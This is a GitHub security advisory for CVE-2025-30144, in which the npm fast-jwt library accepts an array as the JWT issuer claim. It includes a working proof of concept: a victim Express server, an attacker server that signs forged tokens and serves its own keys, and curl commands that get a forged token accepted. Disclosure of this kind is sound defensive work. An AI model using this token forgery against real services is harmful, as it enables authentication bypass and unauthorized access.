GitHub Advisoryadvisory · npm
GHSA-gm45-q3v2-6cf8 Fast-JWT Improperly Validates iss Claims
MEDIUM
Official page ↗
- Aliases
- CVE-2025-30144
- Ecosystem
- npm
- Packages
- fast-jwt
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
- Weaknesses
- CWE-290
- Reviewed
- 2025-03-19
Affected packages
• npm fast-jwt: < 5.0.6 → fixed in 5.0.6
Description
Summary
The `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Details
The `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.
Furthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.
PoC
Take a server running the following code:
```js
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
```
Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
```js
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
```
```bash
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
```
Impact
Applications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Solution
Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Related
Alias · CVE (1)
- CVE-2025-30144 fast-jwt provides fast JSON Web Token (JWT) implementation. vulnerability
Weakness · CWE (1)
- CWE-290 Authentication Bypass by Spoofing weakness
References
- https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-30144 advisory
- https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd web
- https://datatracker.ietf.org/doc/html/rfc7519#page-9 web
- https://github.com/nearform/fast-jwt package